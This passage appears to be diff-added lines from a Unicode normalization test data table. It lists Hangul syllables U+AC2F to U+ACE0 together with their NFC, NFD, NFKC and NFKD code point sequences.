+{ source: [0xAC2F], NFC: [0xAC2F], NFD: [0x1100, 0x1162, 0x11BA], NFKC: [0xAC2F], NFKD: [0x1100, 0x1162, 0x11BA] },
+{ source: [0xAC30], NFC: [0xAC30], NFD: [0x1100, 0x1162, 0x11BB], NFKC: [0xAC30], NFKD: [0x1100, 0x1162, 0x11BB] },
+{ source: [0xAC31], NFC: [0xAC31], NFD: [0x1100, 0x1162, 0x11BC], NFKC: [0xAC31], NFKD: [0x1100, 0x1162, 0x11BC] },
+{ source: [0xAC32], NFC: [0xAC32], NFD: [0x1100, 0x1162, 0x11BD], NFKC: [0xAC32], NFKD: [0x1100, 0x1162, 0x11BD] },
+{ source: [0xAC33], NFC: [0xAC33], NFD: [0x1100, 0x1162, 0x11BE], NFKC: [0xAC33], NFKD: [0x1100, 0x1162, 0x11BE] },
+{ source: [0xAC34], NFC: [0xAC34], NFD: [0x1100, 0x1162, 0x11BF], NFKC: [0xAC34], NFKD: [0x1100, 0x1162, 0x11BF] },
+{ source: [0xAC35], NFC: [0xAC35], NFD: [0x1100, 0x1162, 0x11C0], NFKC: [0xAC35], NFKD: [0x1100, 0x1162, 0x11C0] },
+{ source: [0xAC36], NFC: [0xAC36], NFD: [0x1100, 0x1162, 0x11C1], NFKC: [0xAC36], NFKD: [0x1100, 0x1162, 0x11C1] },
+{ source: [0xAC37], NFC: [0xAC37], NFD: [0x1100, 0x1162, 0x11C2], NFKC: [0xAC37], NFKD: [0x1100, 0x1162, 0x11C2] },
+{ source: [0xAC38], NFC: [0xAC38], NFD: [0x1100, 0x1163], NFKC: [0xAC38], NFKD: [0x1100, 0x1163] },
+{ source: [0xAC39], NFC: [0xAC39], NFD: [0x1100, 0x1163, 0x11A8], NFKC: [0xAC39], NFKD: [0x1100, 0x1163, 0x11A8] },
+{ source: [0xAC3A], NFC: [0xAC3A], NFD: [0x1100, 0x1163, 0x11A9], NFKC: [0xAC3A], NFKD: [0x1100, 0x1163, 0x11A9] },
+{ source: [0xAC3B], NFC: [0xAC3B], NFD: [0x1100, 0x1163, 0x11AA], NFKC: [0xAC3B], NFKD: [0x1100, 0x1163, 0x11AA] },
+{ source: [0xAC3C], NFC: [0xAC3C], NFD: [0x1100, 0x1163, 0x11AB], NFKC: [0xAC3C], NFKD: [0x1100, 0x1163, 0x11AB] },
+{ source: [0xAC3D], NFC: [0xAC3D], NFD: [0x1100, 0x1163, 0x11AC], NFKC: [0xAC3D], NFKD: [0x1100, 0x1163, 0x11AC] },
+{ source: [0xAC3E], NFC: [0xAC3E], NFD: [0x1100, 0x1163, 0x11AD], NFKC: [0xAC3E], NFKD: [0x1100, 0x1163, 0x11AD] },
+{ source: [0xAC3F], NFC: [0xAC3F], NFD: [0x1100, 0x1163, 0x11AE], NFKC: [0xAC3F], NFKD: [0x1100, 0x1163, 0x11AE] },
+{ source: [0xAC40], NFC: [0xAC40], NFD: [0x1100, 0x1163, 0x11AF], NFKC: [0xAC40], NFKD: [0x1100, 0x1163, 0x11AF] },
+{ source: [0xAC41], NFC: [0xAC41], NFD: [0x1100, 0x1163, 0x11B0], NFKC: [0xAC41], NFKD: [0x1100, 0x1163, 0x11B0] },
+{ source: [0xAC42], NFC: [0xAC42], NFD: [0x1100, 0x1163, 0x11B1], NFKC: [0xAC42], NFKD: [0x1100, 0x1163, 0x11B1] },
+{ source: [0xAC43], NFC: [0xAC43], NFD: [0x1100, 0x1163, 0x11B2], NFKC: [0xAC43], NFKD: [0x1100, 0x1163, 0x11B2] },
+{ source: [0xAC44], NFC: [0xAC44], NFD: [0x1100, 0x1163, 0x11B3], NFKC: [0xAC44], NFKD: [0x1100, 0x1163, 0x11B3] },
+{ source: [0xAC45], NFC: [0xAC45], NFD: [0x1100, 0x1163, 0x11B4], NFKC: [0xAC45], NFKD: [0x1100, 0x1163, 0x11B4] },
+{ source: [0xAC46], NFC: [0xAC46], NFD: [0x1100, 0x1163, 0x11B5], NFKC: [0xAC46], NFKD: [0x1100, 0x1163, 0x11B5] },
+{ source: [0xAC47], NFC: [0xAC47], NFD: [0x1100, 0x1163, 0x11B6], NFKC: [0xAC47], NFKD: [0x1100, 0x1163, 0x11B6] },
+{ source: [0xAC48], NFC: [0xAC48], NFD: [0x1100, 0x1163, 0x11B7], NFKC: [0xAC48], NFKD: [0x1100, 0x1163, 0x11B7] },
+{ source: [0xAC49], NFC: [0xAC49], NFD: [0x1100, 0x1163, 0x11B8], NFKC: [0xAC49], NFKD: [0x1100, 0x1163, 0x11B8] },
+{ source: [0xAC4A], NFC: [0xAC4A], NFD: [0x1100, 0x1163, 0x11B9], NFKC: [0xAC4A], NFKD: [0x1100, 0x1163, 0x11B9] },
+{ source: [0xAC4B], NFC: [0xAC4B], NFD: [0x1100, 0x1163, 0x11BA], NFKC: [0xAC4B], NFKD: [0x1100, 0x1163, 0x11BA] },
+{ source: [0xAC4C], NFC: [0xAC4C], NFD: [0x1100, 0x1163, 0x11BB], NFKC: [0xAC4C], NFKD: [0x1100, 0x1163, 0x11BB] },
+{ source: [0xAC4D], NFC: [0xAC4D], NFD: [0x1100, 0x1163, 0x11BC], NFKC: [0xAC4D], NFKD: [0x1100, 0x1163, 0x11BC] },
+{ source: [0xAC4E], NFC: [0xAC4E], NFD: [0x1100, 0x1163, 0x11BD], NFKC: [0xAC4E], NFKD: [0x1100, 0x1163, 0x11BD] },
+{ source: [0xAC4F], NFC: [0xAC4F], NFD: [0x1100, 0x1163, 0x11BE], NFKC: [0xAC4F], NFKD: [0x1100, 0x1163, 0x11BE] },
+{ source: [0xAC50], NFC: [0xAC50], NFD: [0x1100, 0x1163, 0x11BF], NFKC: [0xAC50], NFKD: [0x1100, 0x1163, 0x11BF] },
+{ source: [0xAC51], NFC: [0xAC51], NFD: [0x1100, 0x1163, 0x11C0], NFKC: [0xAC51], NFKD: [0x1100, 0x1163, 0x11C0] },
+{ source: [0xAC52], NFC: [0xAC52], NFD: [0x1100, 0x1163, 0x11C1], NFKC: [0xAC52], NFKD: [0x1100, 0x1163, 0x11C1] },
+{ source: [0xAC53], NFC: [0xAC53], NFD: [0x1100, 0x1163, 0x11C2], NFKC: [0xAC53], NFKD: [0x1100, 0x1163, 0x11C2] },
+{ source: [0xAC54], NFC: [0xAC54], NFD: [0x1100, 0x1164], NFKC: [0xAC54], NFKD: [0x1100, 0x1164] },
+{ source: [0xAC55], NFC: [0xAC55], NFD: [0x1100, 0x1164, 0x11A8], NFKC: [0xAC55], NFKD: [0x1100, 0x1164, 0x11A8] },
+{ source: [0xAC56], NFC: [0xAC56], NFD: [0x1100, 0x1164, 0x11A9], NFKC: [0xAC56], NFKD: [0x1100, 0x1164, 0x11A9] },
+{ source: [0xAC57], NFC: [0xAC57], NFD: [0x1100, 0x1164, 0x11AA], NFKC: [0xAC57], NFKD: [0x1100, 0x1164, 0x11AA] },
+{ source: [0xAC58], NFC: [0xAC58], NFD: [0x1100, 0x1164, 0x11AB], NFKC: [0xAC58], NFKD: [0x1100, 0x1164, 0x11AB] },
+{ source: [0xAC59], NFC: [0xAC59], NFD: [0x1100, 0x1164, 0x11AC], NFKC: [0xAC59], NFKD: [0x1100, 0x1164, 0x11AC] },
+{ source: [0xAC5A], NFC: [0xAC5A], NFD: [0x1100, 0x1164, 0x11AD], NFKC: [0xAC5A], NFKD: [0x1100, 0x1164, 0x11AD] },
+{ source: [0xAC5B], NFC: [0xAC5B], NFD: [0x1100, 0x1164, 0x11AE], NFKC: [0xAC5B], NFKD: [0x1100, 0x1164, 0x11AE] },
+{ source: [0xAC5C], NFC: [0xAC5C], NFD: [0x1100, 0x1164, 0x11AF], NFKC: [0xAC5C], NFKD: [0x1100, 0x1164, 0x11AF] },
+{ source: [0xAC5D], NFC: [0xAC5D], NFD: [0x1100, 0x1164, 0x11B0], NFKC: [0xAC5D], NFKD: [0x1100, 0x1164, 0x11B0] },
+{ source: [0xAC5E], NFC: [0xAC5E], NFD: [0x1100, 0x1164, 0x11B1], NFKC: [0xAC5E], NFKD: [0x1100, 0x1164, 0x11B1] },
+{ source: [0xAC5F], NFC: [0xAC5F], NFD: [0x1100, 0x1164, 0x11B2], NFKC: [0xAC5F], NFKD: [0x1100, 0x1164, 0x11B2] },
+{ source: [0xAC60], NFC: [0xAC60], NFD: [0x1100, 0x1164, 0x11B3], NFKC: [0xAC60], NFKD: [0x1100, 0x1164, 0x11B3] },
+{ source: [0xAC61], NFC: [0xAC61], NFD: [0x1100, 0x1164, 0x11B4], NFKC: [0xAC61], NFKD: [0x1100, 0x1164, 0x11B4] },
+{ source: [0xAC62], NFC: [0xAC62], NFD: [0x1100, 0x1164, 0x11B5], NFKC: [0xAC62], NFKD: [0x1100, 0x1164, 0x11B5] },
+{ source: [0xAC63], NFC: [0xAC63], NFD: [0x1100, 0x1164, 0x11B6], NFKC: [0xAC63], NFKD: [0x1100, 0x1164, 0x11B6] },
+{ source: [0xAC64], NFC: [0xAC64], NFD: [0x1100, 0x1164, 0x11B7], NFKC: [0xAC64], NFKD: [0x1100, 0x1164, 0x11B7] },
+{ source: [0xAC65], NFC: [0xAC65], NFD: [0x1100, 0x1164, 0x11B8], NFKC: [0xAC65], NFKD: [0x1100, 0x1164, 0x11B8] },
+{ source: [0xAC66], NFC: [0xAC66], NFD: [0x1100, 0x1164, 0x11B9], NFKC: [0xAC66], NFKD: [0x1100, 0x1164, 0x11B9] },
+{ source: [0xAC67], NFC: [0xAC67], NFD: [0x1100, 0x1164, 0x11BA], NFKC: [0xAC67], NFKD: [0x1100, 0x1164, 0x11BA] },
+{ source: [0xAC68], NFC: [0xAC68], NFD: [0x1100, 0x1164, 0x11BB], NFKC: [0xAC68], NFKD: [0x1100, 0x1164, 0x11BB] },
+{ source: [0xAC69], NFC: [0xAC69], NFD: [0x1100, 0x1164, 0x11BC], NFKC: [0xAC69], NFKD: [0x1100, 0x1164, 0x11BC] },
+{ source: [0xAC6A], NFC: [0xAC6A], NFD: [0x1100, 0x1164, 0x11BD], NFKC: [0xAC6A], NFKD: [0x1100, 0x1164, 0x11BD] },
+{ source: [0xAC6B], NFC: [0xAC6B], NFD: [0x1100, 0x1164, 0x11BE], NFKC: [0xAC6B], NFKD: [0x1100, 0x1164, 0x11BE] },
+{ source: [0xAC6C], NFC: [0xAC6C], NFD: [0x1100, 0x1164, 0x11BF], NFKC: [0xAC6C], NFKD: [0x1100, 0x1164, 0x11BF] },
+{ source: [0xAC6D], NFC: [0xAC6D], NFD: [0x1100, 0x1164, 0x11C0], NFKC: [0xAC6D], NFKD: [0x1100, 0x1164, 0x11C0] },
+{ source: [0xAC6E], NFC: [0xAC6E], NFD: [0x1100, 0x1164, 0x11C1], NFKC: [0xAC6E], NFKD: [0x1100, 0x1164, 0x11C1] },
+{ source: [0xAC6F], NFC: [0xAC6F], NFD: [0x1100, 0x1164, 0x11C2], NFKC: [0xAC6F], NFKD: [0x1100, 0x1164, 0x11C2] },
+{ source: [0xAC70], NFC: [0xAC70], NFD: [0x1100, 0x1165], NFKC: [0xAC70], NFKD: [0x1100, 0x1165] },
+{ source: [0xAC71], NFC: [0xAC71], NFD: [0x1100, 0x1165, 0x11A8], NFKC: [0xAC71], NFKD: [0x1100, 0x1165, 0x11A8] },
+{ source: [0xAC72], NFC: [0xAC72], NFD: [0x1100, 0x1165, 0x11A9], NFKC: [0xAC72], NFKD: [0x1100, 0x1165, 0x11A9] },
+{ source: [0xAC73], NFC: [0xAC73], NFD: [0x1100, 0x1165, 0x11AA], NFKC: [0xAC73], NFKD: [0x1100, 0x1165, 0x11AA] },
+{ source: [0xAC74], NFC: [0xAC74], NFD: [0x1100, 0x1165, 0x11AB], NFKC: [0xAC74], NFKD: [0x1100, 0x1165, 0x11AB] },
+{ source: [0xAC75], NFC: [0xAC75], NFD: [0x1100, 0x1165, 0x11AC], NFKC: [0xAC75], NFKD: [0x1100, 0x1165, 0x11AC] },
+{ source: [0xAC76], NFC: [0xAC76], NFD: [0x1100, 0x1165, 0x11AD], NFKC: [0xAC76], NFKD: [0x1100, 0x1165, 0x11AD] },
+{ source: [0xAC77], NFC: [0xAC77], NFD: [0x1100, 0x1165, 0x11AE], NFKC: [0xAC77], NFKD: [0x1100, 0x1165, 0x11AE] },
+{ source: [0xAC78], NFC: [0xAC78], NFD: [0x1100, 0x1165, 0x11AF], NFKC: [0xAC78], NFKD: [0x1100, 0x1165, 0x11AF] },
+{ source: [0xAC79], NFC: [0xAC79], NFD: [0x1100, 0x1165, 0x11B0], NFKC: [0xAC79], NFKD: [0x1100, 0x1165, 0x11B0] },
+{ source: [0xAC7A], NFC: [0xAC7A], NFD: [0x1100, 0x1165, 0x11B1], NFKC: [0xAC7A], NFKD: [0x1100, 0x1165, 0x11B1] },
+{ source: [0xAC7B], NFC: [0xAC7B], NFD: [0x1100, 0x1165, 0x11B2], NFKC: [0xAC7B], NFKD: [0x1100, 0x1165, 0x11B2] },
+{ source: [0xAC7C], NFC: [0xAC7C], NFD: [0x1100, 0x1165, 0x11B3], NFKC: [0xAC7C], NFKD: [0x1100, 0x1165, 0x11B3] },
+{ source: [0xAC7D], NFC: [0xAC7D], NFD: [0x1100, 0x1165, 0x11B4], NFKC: [0xAC7D], NFKD: [0x1100, 0x1165, 0x11B4] },
+{ source: [0xAC7E], NFC: [0xAC7E], NFD: [0x1100, 0x1165, 0x11B5], NFKC: [0xAC7E], NFKD: [0x1100, 0x1165, 0x11B5] },
+{ source: [0xAC7F], NFC: [0xAC7F], NFD: [0x1100, 0x1165, 0x11B6], NFKC: [0xAC7F], NFKD: [0x1100, 0x1165, 0x11B6] },
+{ source: [0xAC80], NFC: [0xAC80], NFD: [0x1100, 0x1165, 0x11B7], NFKC: [0xAC80], NFKD: [0x1100, 0x1165, 0x11B7] },
+{ source: [0xAC81], NFC: [0xAC81], NFD: [0x1100, 0x1165, 0x11B8], NFKC: [0xAC81], NFKD: [0x1100, 0x1165, 0x11B8] },
+{ source: [0xAC82], NFC: [0xAC82], NFD: [0x1100, 0x1165, 0x11B9], NFKC: [0xAC82], NFKD: [0x1100, 0x1165, 0x11B9] },
+{ source: [0xAC83], NFC: [0xAC83], NFD: [0x1100, 0x1165, 0x11BA], NFKC: [0xAC83], NFKD: [0x1100, 0x1165, 0x11BA] },
+{ source: [0xAC84], NFC: [0xAC84], NFD: [0x1100, 0x1165, 0x11BB], NFKC: [0xAC84], NFKD: [0x1100, 0x1165, 0x11BB] },
+{ source: [0xAC85], NFC: [0xAC85], NFD: [0x1100, 0x1165, 0x11BC], NFKC: [0xAC85], NFKD: [0x1100, 0x1165, 0x11BC] },
+{ source: [0xAC86], NFC: [0xAC86], NFD: [0x1100, 0x1165, 0x11BD], NFKC: [0xAC86], NFKD: [0x1100, 0x1165, 0x11BD] },
+{ source: [0xAC87], NFC: [0xAC87], NFD: [0x1100, 0x1165, 0x11BE], NFKC: [0xAC87], NFKD: [0x1100, 0x1165, 0x11BE] },
+{ source: [0xAC88], NFC: [0xAC88], NFD: [0x1100, 0x1165, 0x11BF], NFKC: [0xAC88], NFKD: [0x1100, 0x1165, 0x11BF] },
+{ source: [0xAC89], NFC: [0xAC89], NFD: [0x1100, 0x1165, 0x11C0], NFKC: [0xAC89], NFKD: [0x1100, 0x1165, 0x11C0] },
+{ source: [0xAC8A], NFC: [0xAC8A], NFD: [0x1100, 0x1165, 0x11C1], NFKC: [0xAC8A], NFKD: [0x1100, 0x1165, 0x11C1] },
+{ source: [0xAC8B], NFC: [0xAC8B], NFD: [0x1100, 0x1165, 0x11C2], NFKC: [0xAC8B], NFKD: [0x1100, 0x1165, 0x11C2] },
+{ source: [0xAC8C], NFC: [0xAC8C], NFD: [0x1100, 0x1166], NFKC: [0xAC8C], NFKD: [0x1100, 0x1166] },
+{ source: [0xAC8D], NFC: [0xAC8D], NFD: [0x1100, 0x1166, 0x11A8], NFKC: [0xAC8D], NFKD: [0x1100, 0x1166, 0x11A8] },
+{ source: [0xAC8E], NFC: [0xAC8E], NFD: [0x1100, 0x1166, 0x11A9], NFKC: [0xAC8E], NFKD: [0x1100, 0x1166, 0x11A9] },
+{ source: [0xAC8F], NFC: [0xAC8F], NFD: [0x1100, 0x1166, 0x11AA], NFKC: [0xAC8F], NFKD: [0x1100, 0x1166, 0x11AA] },
+{ source: [0xAC90], NFC: [0xAC90], NFD: [0x1100, 0x1166, 0x11AB], NFKC: [0xAC90], NFKD: [0x1100, 0x1166, 0x11AB] },
+{ source: [0xAC91], NFC: [0xAC91], NFD: [0x1100, 0x1166, 0x11AC], NFKC: [0xAC91], NFKD: [0x1100, 0x1166, 0x11AC] },
+{ source: [0xAC92], NFC: [0xAC92], NFD: [0x1100, 0x1166, 0x11AD], NFKC: [0xAC92], NFKD: [0x1100, 0x1166, 0x11AD] },
+{ source: [0xAC93], NFC: [0xAC93], NFD: [0x1100, 0x1166, 0x11AE], NFKC: [0xAC93], NFKD: [0x1100, 0x1166, 0x11AE] },
+{ source: [0xAC94], NFC: [0xAC94], NFD: [0x1100, 0x1166, 0x11AF], NFKC: [0xAC94], NFKD: [0x1100, 0x1166, 0x11AF] },
+{ source: [0xAC95], NFC: [0xAC95], NFD: [0x1100, 0x1166, 0x11B0], NFKC: [0xAC95], NFKD: [0x1100, 0x1166, 0x11B0] },
+{ source: [0xAC96], NFC: [0xAC96], NFD: [0x1100, 0x1166, 0x11B1], NFKC: [0xAC96], NFKD: [0x1100, 0x1166, 0x11B1] },
+{ source: [0xAC97], NFC: [0xAC97], NFD: [0x1100, 0x1166, 0x11B2], NFKC: [0xAC97], NFKD: [0x1100, 0x1166, 0x11B2] },
+{ source: [0xAC98], NFC: [0xAC98], NFD: [0x1100, 0x1166, 0x11B3], NFKC: [0xAC98], NFKD: [0x1100, 0x1166, 0x11B3] },
+{ source: [0xAC99], NFC: [0xAC99], NFD: [0x1100, 0x1166, 0x11B4], NFKC: [0xAC99], NFKD: [0x1100, 0x1166, 0x11B4] },
+{ source: [0xAC9A], NFC: [0xAC9A], NFD: [0x1100, 0x1166, 0x11B5], NFKC: [0xAC9A], NFKD: [0x1100, 0x1166, 0x11B5] },
+{ source: [0xAC9B], NFC: [0xAC9B], NFD: [0x1100, 0x1166, 0x11B6], NFKC: [0xAC9B], NFKD: [0x1100, 0x1166, 0x11B6] },
+{ source: [0xAC9C], NFC: [0xAC9C], NFD: [0x1100, 0x1166, 0x11B7], NFKC: [0xAC9C], NFKD: [0x1100, 0x1166, 0x11B7] },
+{ source: [0xAC9D], NFC: [0xAC9D], NFD: [0x1100, 0x1166, 0x11B8], NFKC: [0xAC9D], NFKD: [0x1100, 0x1166, 0x11B8] },
+{ source: [0xAC9E], NFC: [0xAC9E], NFD: [0x1100, 0x1166, 0x11B9], NFKC: [0xAC9E], NFKD: [0x1100, 0x1166, 0x11B9] },
+{ source: [0xAC9F], NFC: [0xAC9F], NFD: [0x1100, 0x1166, 0x11BA], NFKC: [0xAC9F], NFKD: [0x1100, 0x1166, 0x11BA] },
+{ source: [0xACA0], NFC: [0xACA0], NFD: [0x1100, 0x1166, 0x11BB], NFKC: [0xACA0], NFKD: [0x1100, 0x1166, 0x11BB] },
+{ source: [0xACA1], NFC: [0xACA1], NFD: [0x1100, 0x1166, 0x11BC], NFKC: [0xACA1], NFKD: [0x1100, 0x1166, 0x11BC] },
+{ source: [0xACA2], NFC: [0xACA2], NFD: [0x1100, 0x1166, 0x11BD], NFKC: [0xACA2], NFKD: [0x1100, 0x1166, 0x11BD] },
+{ source: [0xACA3], NFC: [0xACA3], NFD: [0x1100, 0x1166, 0x11BE], NFKC: [0xACA3], NFKD: [0x1100, 0x1166, 0x11BE] },
+{ source: [0xACA4], NFC: [0xACA4], NFD: [0x1100, 0x1166, 0x11BF], NFKC: [0xACA4], NFKD: [0x1100, 0x1166, 0x11BF] },
+{ source: [0xACA5], NFC: [0xACA5], NFD: [0x1100, 0x1166, 0x11C0], NFKC: [0xACA5], NFKD: [0x1100, 0x1166, 0x11C0] },
+{ source: [0xACA6], NFC: [0xACA6], NFD: [0x1100, 0x1166, 0x11C1], NFKC: [0xACA6], NFKD: [0x1100, 0x1166, 0x11C1] },
+{ source: [0xACA7], NFC: [0xACA7], NFD: [0x1100, 0x1166, 0x11C2], NFKC: [0xACA7], NFKD: [0x1100, 0x1166, 0x11C2] },
+{ source: [0xACA8], NFC: [0xACA8], NFD: [0x1100, 0x1167], NFKC: [0xACA8], NFKD: [0x1100, 0x1167] },
+{ source: [0xACA9], NFC: [0xACA9], NFD: [0x1100, 0x1167, 0x11A8], NFKC: [0xACA9], NFKD: [0x1100, 0x1167, 0x11A8] },
+{ source: [0xACAA], NFC: [0xACAA], NFD: [0x1100, 0x1167, 0x11A9], NFKC: [0xACAA], NFKD: [0x1100, 0x1167, 0x11A9] },
+{ source: [0xACAB], NFC: [0xACAB], NFD: [0x1100, 0x1167, 0x11AA], NFKC: [0xACAB], NFKD: [0x1100, 0x1167, 0x11AA] },
+{ source: [0xACAC], NFC: [0xACAC], NFD: [0x1100, 0x1167, 0x11AB], NFKC: [0xACAC], NFKD: [0x1100, 0x1167, 0x11AB] },
+{ source: [0xACAD], NFC: [0xACAD], NFD: [0x1100, 0x1167, 0x11AC], NFKC: [0xACAD], NFKD: [0x1100, 0x1167, 0x11AC] },
+{ source: [0xACAE], NFC: [0xACAE], NFD: [0x1100, 0x1167, 0x11AD], NFKC: [0xACAE], NFKD: [0x1100, 0x1167, 0x11AD] },
+{ source: [0xACAF], NFC: [0xACAF], NFD: [0x1100, 0x1167, 0x11AE], NFKC: [0xACAF], NFKD: [0x1100, 0x1167, 0x11AE] },
+{ source: [0xACB0], NFC: [0xACB0], NFD: [0x1100, 0x1167, 0x11AF], NFKC: [0xACB0], NFKD: [0x1100, 0x1167, 0x11AF] },
+{ source: [0xACB1], NFC: [0xACB1], NFD: [0x1100, 0x1167, 0x11B0], NFKC: [0xACB1], NFKD: [0x1100, 0x1167, 0x11B0] },
+{ source: [0xACB2], NFC: [0xACB2], NFD: [0x1100, 0x1167, 0x11B1], NFKC: [0xACB2], NFKD: [0x1100, 0x1167, 0x11B1] },
+{ source: [0xACB3], NFC: [0xACB3], NFD: [0x1100, 0x1167, 0x11B2], NFKC: [0xACB3], NFKD: [0x1100, 0x1167, 0x11B2] },
+{ source: [0xACB4], NFC: [0xACB4], NFD: [0x1100, 0x1167, 0x11B3], NFKC: [0xACB4], NFKD: [0x1100, 0x1167, 0x11B3] },
+{ source: [0xACB5], NFC: [0xACB5], NFD: [0x1100, 0x1167, 0x11B4], NFKC: [0xACB5], NFKD: [0x1100, 0x1167, 0x11B4] },
+{ source: [0xACB6], NFC: [0xACB6], NFD: [0x1100, 0x1167, 0x11B5], NFKC: [0xACB6], NFKD: [0x1100, 0x1167, 0x11B5] },
+{ source: [0xACB7], NFC: [0xACB7], NFD: [0x1100, 0x1167, 0x11B6], NFKC: [0xACB7], NFKD: [0x1100, 0x1167, 0x11B6] },
+{ source: [0xACB8], NFC: [0xACB8], NFD: [0x1100, 0x1167, 0x11B7], NFKC: [0xACB8], NFKD: [0x1100, 0x1167, 0x11B7] },
+{ source: [0xACB9], NFC: [0xACB9], NFD: [0x1100, 0x1167, 0x11B8], NFKC: [0xACB9], NFKD: [0x1100, 0x1167, 0x11B8] },
+{ source: [0xACBA], NFC: [0xACBA], NFD: [0x1100, 0x1167, 0x11B9], NFKC: [0xACBA], NFKD: [0x1100, 0x1167, 0x11B9] },
+{ source: [0xACBB], NFC: [0xACBB], NFD: [0x1100, 0x1167, 0x11BA], NFKC: [0xACBB], NFKD: [0x1100, 0x1167, 0x11BA] },
+{ source: [0xACBC], NFC: [0xACBC], NFD: [0x1100, 0x1167, 0x11BB], NFKC: [0xACBC], NFKD: [0x1100, 0x1167, 0x11BB] },
+{ source: [0xACBD], NFC: [0xACBD], NFD: [0x1100, 0x1167, 0x11BC], NFKC: [0xACBD], NFKD: [0x1100, 0x1167, 0x11BC] },
+{ source: [0xACBE], NFC: [0xACBE], NFD: [0x1100, 0x1167, 0x11BD], NFKC: [0xACBE], NFKD: [0x1100, 0x1167, 0x11BD] },
+{ source: [0xACBF], NFC: [0xACBF], NFD: [0x1100, 0x1167, 0x11BE], NFKC: [0xACBF], NFKD: [0x1100, 0x1167, 0x11BE] },
+{ source: [0xACC0], NFC: [0xACC0], NFD: [0x1100, 0x1167, 0x11BF], NFKC: [0xACC0], NFKD: [0x1100, 0x1167, 0x11BF] },
+{ source: [0xACC1], NFC: [0xACC1], NFD: [0x1100, 0x1167, 0x11C0], NFKC: [0xACC1], NFKD: [0x1100, 0x1167, 0x11C0] },
+{ source: [0xACC2], NFC: [0xACC2], NFD: [0x1100, 0x1167, 0x11C1], NFKC: [0xACC2], NFKD: [0x1100, 0x1167, 0x11C1] },
+{ source: [0xACC3], NFC: [0xACC3], NFD: [0x1100, 0x1167, 0x11C2], NFKC: [0xACC3], NFKD: [0x1100, 0x1167, 0x11C2] },
+{ source: [0xACC4], NFC: [0xACC4], NFD: [0x1100, 0x1168], NFKC: [0xACC4], NFKD: [0x1100, 0x1168] },
+{ source: [0xACC5], NFC: [0xACC5], NFD: [0x1100, 0x1168, 0x11A8], NFKC: [0xACC5], NFKD: [0x1100, 0x1168, 0x11A8] },
+{ source: [0xACC6], NFC: [0xACC6], NFD: [0x1100, 0x1168, 0x11A9], NFKC: [0xACC6], NFKD: [0x1100, 0x1168, 0x11A9] },
+{ source: [0xACC7], NFC: [0xACC7], NFD: [0x1100, 0x1168, 0x11AA], NFKC: [0xACC7], NFKD: [0x1100, 0x1168, 0x11AA] },
+{ source: [0xACC8], NFC: [0xACC8], NFD: [0x1100, 0x1168, 0x11AB], NFKC: [0xACC8], NFKD: [0x1100, 0x1168, 0x11AB] },
+{ source: [0xACC9], NFC: [0xACC9], NFD: [0x1100, 0x1168, 0x11AC], NFKC: [0xACC9], NFKD: [0x1100, 0x1168, 0x11AC] },
+{ source: [0xACCA], NFC: [0xACCA], NFD: [0x1100, 0x1168, 0x11AD], NFKC: [0xACCA], NFKD: [0x1100, 0x1168, 0x11AD] },
+{ source: [0xACCB], NFC: [0xACCB], NFD: [0x1100, 0x1168, 0x11AE], NFKC: [0xACCB], NFKD: [0x1100, 0x1168, 0x11AE] },
+{ source: [0xACCC], NFC: [0xACCC], NFD: [0x1100, 0x1168, 0x11AF], NFKC: [0xACCC], NFKD: [0x1100, 0x1168, 0x11AF] },
+{ source: [0xACCD], NFC: [0xACCD], NFD: [0x1100, 0x1168, 0x11B0], NFKC: [0xACCD], NFKD: [0x1100, 0x1168, 0x11B0] },
+{ source: [0xACCE], NFC: [0xACCE], NFD: [0x1100, 0x1168, 0x11B1], NFKC: [0xACCE], NFKD: [0x1100, 0x1168, 0x11B1] },
+{ source: [0xACCF], NFC: [0xACCF], NFD: [0x1100, 0x1168, 0x11B2], NFKC: [0xACCF], NFKD: [0x1100, 0x1168, 0x11B2] },
+{ source: [0xACD0], NFC: [0xACD0], NFD: [0x1100, 0x1168, 0x11B3], NFKC: [0xACD0], NFKD: [0x1100, 0x1168, 0x11B3] },
+{ source: [0xACD1], NFC: [0xACD1], NFD: [0x1100, 0x1168, 0x11B4], NFKC: [0xACD1], NFKD: [0x1100, 0x1168, 0x11B4] },
+{ source: [0xACD2], NFC: [0xACD2], NFD: [0x1100, 0x1168, 0x11B5], NFKC: [0xACD2], NFKD: [0x1100, 0x1168, 0x11B5] },
+{ source: [0xACD3], NFC: [0xACD3], NFD: [0x1100, 0x1168, 0x11B6], NFKC: [0xACD3], NFKD: [0x1100, 0x1168, 0x11B6] },
+{ source: [0xACD4], NFC: [0xACD4], NFD: [0x1100, 0x1168, 0x11B7], NFKC: [0xACD4], NFKD: [0x1100, 0x1168, 0x11B7] },
+{ source: [0xACD5], NFC: [0xACD5], NFD: [0x1100, 0x1168, 0x11B8], NFKC: [0xACD5], NFKD: [0x1100, 0x1168, 0x11B8] },
+{ source: [0xACD6], NFC: [0xACD6], NFD: [0x1100, 0x1168, 0x11B9], NFKC: [0xACD6], NFKD: [0x1100, 0x1168, 0x11B9] },
+{ source: [0xACD7], NFC: [0xACD7], NFD: [0x1100, 0x1168, 0x11BA], NFKC: [0xACD7], NFKD: [0x1100, 0x1168, 0x11BA] },
+{ source: [0xACD8], NFC: [0xACD8], NFD: [0x1100, 0x1168, 0x11BB], NFKC: [0xACD8], NFKD: [0x1100, 0x1168, 0x11BB] },
+{ source: [0xACD9], NFC: [0xACD9], NFD: [0x1100, 0x1168, 0x11BC], NFKC: [0xACD9], NFKD: [0x1100, 0x1168, 0x11BC] },
+{ source: [0xACDA], NFC: [0xACDA], NFD: [0x1100, 0x1168, 0x11BD], NFKC: [0xACDA], NFKD: [0x1100, 0x1168, 0x11BD] },
+{ source: [0xACDB], NFC: [0xACDB], NFD: [0x1100, 0x1168, 0x11BE], NFKC: [0xACDB], NFKD: [0x1100, 0x1168, 0x11BE] },
+{ source: [0xACDC], NFC: [0xACDC], NFD: [0x1100, 0x1168, 0x11BF], NFKC: [0xACDC], NFKD: [0x1100, 0x1168, 0x11BF] },
+{ source: [0xACDD], NFC: [0xACDD], NFD: [0x1100, 0x1168, 0x11C0], NFKC: [0xACDD], NFKD: [0x1100, 0x1168, 0x11C0] },
+{ source: [0xACDE], NFC: [0xACDE], NFD: [0x1100, 0x1168, 0x11C1], NFKC: [0xACDE], NFKD: [0x1100, 0x1168, 0x11C1] },
+{ source: [0xACDF], NFC: [0xACDF], NFD: [0x1100, 0x1168, 0x11C2], NFKC: [0xACDF], NFKD: [0x1100, 0x1168, 0x11C2] },
+{ source: [0xACE0], NFC: [0xACE0], NFD: [0x1100, 0x1169], NFKC: [0xACE0], NFKD: [0x1100, 0x1169] },
